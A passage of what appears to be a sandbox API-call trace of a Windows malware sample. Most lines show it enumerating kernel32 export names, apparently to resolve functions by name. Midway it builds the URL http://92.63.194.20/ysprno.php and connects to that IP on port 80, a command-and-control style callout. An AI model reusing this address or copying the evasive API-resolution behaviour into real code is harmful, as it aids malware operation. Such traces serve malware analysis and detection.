out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0101.477] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0101.477] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0101.477] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0101.477] lstrlenA (lpString="CREATEEVENTA") returned 12 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0101.477] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0101.477] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0101.477] lstrlenA (lpString="CREATEEVENTW") returned 12 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0101.477] lstrlenA (lpString="CREATEFIBER") returned 11 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0101.477] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0101.477] lstrlenA (lpString="CREATEFILE2") returned 11 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0101.477] lstrlenA (lpString="CREATEFILEA") returned 11 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0101.477] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0101.477] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0101.477] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0101.477] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0101.477] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0101.478] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0101.478] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0101.478] lstrlenA (lpString="CREATEFILEW") returned 11 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0101.478] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0101.478] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0101.478] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0101.478] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0101.478] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0101.478] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0101.478] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0101.478] lstrlenA (lpString="CREATEJOBSET") returned 12 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0101.478] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0101.478] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0101.478] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0101.478] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0101.478] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0101.478] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0101.478] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0101.479] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0101.479] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0101.479] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0101.479] lstrlenA (lpString="CREATEPIPE") returned 10 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0101.479] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0101.479] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0101.479] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0101.479] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0101.479] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0101.479] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0101.479] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0101.479] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0101.479] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0101.479] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0101.479] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0101.479] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0101.479] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0101.479] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0101.479] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0101.480] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0101.480] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0101.480] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0101.480] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0101.480] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0101.480] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0101.480] lstrlenA (lpString="CREATETHREAD") returned 12 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0101.480] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0101.480] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0101.480] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0101.480] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0101.480] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0101.480] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0101.480] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0101.480] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0101.481] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0101.481] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.194.20/ysprno.php") returned 30 [0101.481] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0101.481] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0101.482] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0101.482] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0101.482] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.483] inet_pton (in: Family=2, pszAddrString="92.63.194.20", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0101.483] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0101.483] socket (af=2, type=1, protocol=6) returned 0x46c [0101.483] inet_addr (cp="92.63.194.20") returned 0x14c23f5c [0101.483] htons (hostshort=0x50) returned 0x5000 [0101.483] connect (s=0x46c, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.194.20"), namelen=16) returned 0 [0101.510] lstrlenA (lpString="kernel32.dll") returned 12 [0101.510] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.510] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0101.510] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0101.510] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0101.510] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0101.510] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0101.510] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0101.510] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0101.510] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0101.510] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0101.510] lstrlenA (lpString="ADDATOMA") returned 8 [0101.510] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0101.511] lstrlenA (lpString="ADDATOMW") returned 8 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0101.511] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0101.511] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0101.511] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0101.511] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0101.511] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0101.511] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0101.511] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0101.511] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0101.511] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0101.511] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0101.511] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0101.511] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0101.511] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0101.511] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0101.511] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0101.511] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0101.512] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0101.512] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0101.512] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0101.512] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0101.512] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0101.512] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0101.512] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0101.512] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0101.512] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0101.512] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0101.512] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0101.512] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0101.512] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0101.512] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0101.513] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0101.513] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0101.513] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0101.513] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0101.513] lstrlenA (lpString="BACKUPREAD") returned 10 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0101.513] lstrlenA (lpString="BACKUPSEEK") returned 10 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0101.513] lstrlenA (lpString="BACKUPWRITE") returned 11 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0101.513] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0101.513] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0101.513] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0101.513] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0101.513] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0101.513] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0101.513] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0101.513] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0101.513] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0101.513] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0101.514] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0101.514] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0101.514] lstrlenA 